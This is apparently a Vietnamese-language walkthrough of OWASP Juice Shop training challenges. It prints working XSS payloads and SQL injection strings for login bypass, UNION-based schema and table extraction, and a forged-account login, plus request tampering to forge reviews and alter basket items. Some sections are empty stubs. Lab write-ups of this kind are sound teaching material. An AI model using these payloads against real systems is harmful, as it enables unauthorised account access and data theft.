# OWASP Juice Shop Solutions 1. [XSS](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg#XSS) * [DOM XSS](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg##DOM-XSS) * [Bonus Payload](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg##Bonus-Payload) 3. [Injection](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg#Injection) * [Login Admin](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg##Login-Admin) * [Login Jim](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg##Login-Jim) * [Login Bender](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg##Login-Bender) * [ Database Schema](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg##Database-Schema) * [Christmas Special](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg##Christmas-Special) * [Ephemeral Accountant](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg##Ephemeral-Accountant) * NoSQL Manipulation 3. [Broken Access Control](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg#Broken-Access-Control) * [Five Star Feedback](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg##Five-Star-Feedback) * [Forged Feedback](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg##Forged-Feedback) * CSRF 4. Broken Authentication 5. --- # **XSS** ## **DOM XSS** **Mô tả**: Thực hiện tấn công DOM XSS bằng `<iframe src="javascript:alert(`xss`)">` Thực hiện XSS với payload cơ bản ở phần search. `<script>alert(1)</script>` Ở đây chúng ta không thấy phần alert xuất hiện. Tuy nhiên không xuất hiện không có nghĩa là không dính lỗi XSS. Quan sát mã HTML trả về từ phía máy chủ. Nếu payload của bạn xuất hiện trong mã nguồn HTML thì có thể dính XSS. ![Screenshot from 2024-10-30 20-57-16](https://hackmd.io/_uploads/Byt9ihybJx.png) Bây giờ hãy thử với payload khác khiến nó có thể hiển thị alert. `<iframe src="javascript:alert(`xss`)">` ![image](https://hackmd.io/_uploads/B1MmHVm4kx.png) ## **Bonus Payload** Bây giờ chúng ta đã biết trang web đã bị dính XSS. Giờ thực hiện chèn luôn 1 video vào trang này ``` <iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://www.youtube.com/embed/dnCVzm9s6oE?autoplay=1"></iframe> ``` ![image](https://hackmd.io/_uploads/r1oHlTJZJg.png) --- # **Injection** ## **Login Admin** **Mô tả**: Đăng nhập bằng tài khoản người dùng của quản trị viên. Ở trang [Login](https://juice-shop.herokuapp.com/#/login) ta thực hiện thử 1 payload SQL Injection cơ bản ![image](https://hackmd.io/_uploads/r1iBWTJ-Je.png) khi thực hiện 1 payload như thế này vào ô email thì SQL sẽ có thể có dạng như sau `SELECT * FROM users WHERE email = '' OR 1=1-- ' AND password = 'abc'` Ký tự ' đầu tiên trong đoạn mình truyền vào làm ngắt đoạn câu truy vấn OR 1=1 là một điều kiện luôn đúng và tài khoản đầu tiên được trả về từ bảng users thường là tài khoản có quyền cao nhất (ví dụ như admin). -- là ký tự bắt đầu phần bình luận trong SQL, bất kỳ mã nào sau đó đều bị bỏ qua. Bây giờ thì kiểm tra thử [User Profile](https://juice-shop.herokuapp.com/profile) đã chuyển thành admin hay chưa. ![image](https://hackmd.io/_uploads/rkH0Ma1W1e.png) ## **Login Jim** **Mô tả:** Đăng nhập bằng tài khoản người dùng của Jim. Ta đã xác định được trang này dính SQL Injection và đã truy cập được vào tài khoảng admin. Giờ chỉ cần tìm được email của Jim thôi. Mở burpsuite và sau 1 thời gian ngắn tìm kiếm tôi đã tìm thấy email của Jim: jim@juice-sh.op ![Screenshot from 2024-10-30 21-47-04](https://hackmd.io/_uploads/B17Qw6JZ1e.png) Bây giờ login thử thôi. ![image](https://hackmd.io/_uploads/HyNpwT1Zyg.png) ## **Login Bender** **Mô tả:** Đăng nhập bằng tài khoản người dùng của Bender. Tương tự như Jim, email của Bender là: bender@juice-sh.op :grinning: ## **Database Schema** **Mô tả:** Trích xuất toàn bộ định nghĩa lược đồ DB thông qua SQL Injection. Ở bài này ta sẽ dùng BurpSuite để thực hiện search. `GET /rest/products/search?q=a` ![image](https://hackmd.io/_uploads/ryYZ5p1-yl.png) Quan sát thấy khi t tìm kiếm 'a' thì nó trả về các kết quả và response là 200. Bây giờ thử với 1 payload SQL Injection đơn giản là `'--` để xem nó trả về gì ![image](https://hackmd.io/_uploads/rJxFqaybyx.png) Ok có lỗi, cùng kéo xuống phần response để đọc xem có gì có thể khai thác được ![image](https://hackmd.io/_uploads/r1Fsqa1-ke.png) Dễ dàng quan xác được truy vấn SQL của nó, khi ta chèn kí tự `a'--` thì truy vấn nó là `'%a'--%'` . vậy nếu ta sử dụng dấu '))' để kết thúc chuỗi truy vấn thì sẽ như thế nào. `GET /rest/products/search?q=a'))--` ![image](https://hackmd.io/_uploads/S1J8jak-yg.png) Khi này truy vấn SQL sẽ là `SELECT * FROM Products WHERE ((name LIKE '%a'))--%' OR description LIKE '%a))'--%') AND deletedAt IS NULL) ORDER BY name` Dễ dàng thấy được ta đã chèn 'a' 1 cách hợp lệ với đầy đủ dấu ngoặc và phần sau dâu '--' được comment. Bây giờ ta sẽ tiếp tục khai thác. Nếu mọi người để ý, khi response trả về 500 thì ta sẽ nhìn thấy `"message": "SQLITE_ERROR: incomplete input",` OK, khả năng cao nó dùng [SQLite](https://github.com/unicornsasfuel/sqlite_sqli_cheat_sheet). Giờ hãy thử khai thác các bảng của nó. `GET /rest/products/search?q=a'))UNION+SELECT+1,2,3,4,5,6,7,8,9+FROM+sqlite_master+WHERE+type%3d'table'--` ![image](https://hackmd.io/_uploads/SJeh6TJWJx.png) Giải thích 1 chút về cách tôi thực hiện. UNION SELECT là cú pháp SQL dùng để kết hợp hai truy vấn. Các số 1,2,3,4,5,6,7,8,9 đại diện cho các cột, ở đây sẽ có 9 cột. Các giá trị này thường được dùng để kiểm tra số lượng cột cần cho truy vấn thành công. Ví dụ nếu bạn truyền ....+1,2+FROM+.... mà response trả về 500, hãy cố gắng tăng thêm để tìm số lượng cột. nếu số lượng cột bạn tìm đúng thì sẽ trả về 200 và nó có dạng như sau ![image](https://hackmd.io/_uploads/BJhtRpyWkx.png) Tiếp theo thử thay 1 thành tbl_name. tbl_name là một cột trong bảng hệ thống sqlite_master. Cột này lưu tên của các bảng có trong cơ sở dữ liệu. khi truy vấn sqlite_master và lấy giá trị từ cột tbl_name, bạn sẽ thu được cấu trúc bảng mà không cần truy vấn trực tiếp vào bảng. `GET /rest/products/search?q=a'))UNION+SELECT+tbl_name,2,3,4,5,6,7,8,9+FROM+sqlite_master+WHERE+type%3d'table'--` ![image](https://hackmd.io/_uploads/r1I5-Ak-Jg.png) Ở đây ta có thể thấy lúc đầu phần "id":1 sau khi thay đổi 1 thành tbl_name thì nó hiển thị ra tên các bảng của nó. Ok như vậy nhiệm vụ đã hoàn thành:grinning: ## **Christmas Special** **Mô tả:** Đặt hàng để nhận ưu đãi đặc biệt cho Giáng sinh năm 2014. Để hoàn thành challenge này ta sẽ tiếp tục vần ở trên. Khi chúng ta có các danh sách table. Điều chúng ta cần làm là vào cần vào bảng Product để Order the Christmas special offer of 2014 như yêu cầu. Tôi thực hiện truy vấn như sau: `GET /rest/products/search?q=a'))UNION+SELECT+id,name,3,4,5,6,7,8,9+FROM+Products-- ` ![image](https://hackmd.io/_uploads/BJ6Ezeg-kx.png) Do biết sản phẩm sẽ nằm trong Products table và tôi cần biết tên và id để order nên sẽ chỉ cần id=10 và name=Christmas Super-Surprise-Box (2014 Edition) .Sau khi biết mọi thứ thì tôi chỉ việc order. Tôi thực hiện order 1 sản phẩm bất kì sau đó chỉ việc thay id=10 POST /api/BasketItems/10 ![image](https://hackmd.io/_uploads/rJxb7gg-1e.png) ![image](https://hackmd.io/_uploads/By8zvll-Jx.png) Đã order thành công :grinning: ## **Ephemeral Accountant** **Mô tả:** Đăng nhập bằng tài khoản kế toán (không tồn tại) acc0unt4nt@juice-sh.op mà không cần phải đăng ký người dùng đó. Đăng nhập bằng tài khoản kế toán (không tồn tại) acc0unt4nt@juice-sh.op mà không cần phải đăng ký người dùng đó. Như đã biết ở các bài ở trên, trang web này bị SQLi, để đăng nhập tài khoản chưa đăng kí, trước hết ta cần biết sql của nó viết như thế nào. Tôi tìm bằng cách sau: Trong Burpsuite tôi dùng: `GET /rest/products/search?q=a%27))UNION+SELECT+sql,2,3,4,5,6,7,8,9+FROM+sqlite_master--` ![image](https://hackmd.io/_uploads/B1fOz9bE1g.png) Dễ dàng thấy được đây là câu lệnh sql của nó tạo ra 1 account mới. Dựa vào đây tôi có thể viết 1 câu lệnh để thực hiện kỹ thuật UNION để SQL Injection. > `'UNION SELECT * FROM (SELECT 2 AS 'id','' AS 'username','acc0unt4nt@juice-sh.op' AS 'email','ABC1234' AS 'password','accounting' AS 'role','' AS 'deluxeToken','127.0.0.1' AS 'lastLoginIp','default.svg' AS 'profileImage','' AS 'totpSecret',1 AS 'isActive','2022-12-27 08:26:49.219717 +00:00' AS 'createdAt','2022-12-27 08:26:49.219717 +00:00' AS 'updatedAt',NULL AS 'deletedAt')--` Tiếp theo thử login với email là payload ở trên và mật khẩu là bất kì. ![image](https://hackmd.io/_uploads/HJzBmc-VJe.png) Done!!!! Thật ra khi vào /profile thì nó vẫn là Jim 😈 ## **NoSQL Manipulation** Cập nhật nhiều đánh giá sản phẩm cùng lúc. # **Broken Access Control** ## **Five Star Feedback** **Mô tả:** Xóa tất cả phản hồi 5 sao của khách hàng. Để thực hiện thử thách này chúng ta phải ở quyền quản trị viên. Để làm điều này, hãy xem lại về thử thách [Injection](https://hackmd.io/OKObOx5aSJitlbF-Zwt6tg##Login-Admin) Tiếp theo với quyền admin bạn có thể truy cập vào /administration và đã có thể xóa feedback 5 sao. ![image](https://hackmd.io/_uploads/BkBgXaHWkx.png) ## **Forged Feedback** **Mô tả:** Đăng phản hồi dưới tên người dùng khác. Để thực hiện thử thách này tôi phải đăng một số phản hồi dưới tên người dùng khác. Tôi thực hiện đăng 1 phản hồi bất kì của 1 sản phầm ![image](https://hackmd.io/_uploads/rkKQei3-kx.png) Vì đây là tôi đăng lên nên phải tìm đến method PUT `PUT /rest/products/24/reviews` ![image](https://hackmd.io/_uploads/SJqvlonWJl.png) Bây giờ tôi chỉ việc hay đổi phần email khác là xong, ví dụ ![image](https://hackmd.io/_uploads/S1M5xs2Zkl.png) Đã hoàn thành ![image](https://hackmd.io/_uploads/SJYJWihZJl.png) ## **CSRF** ---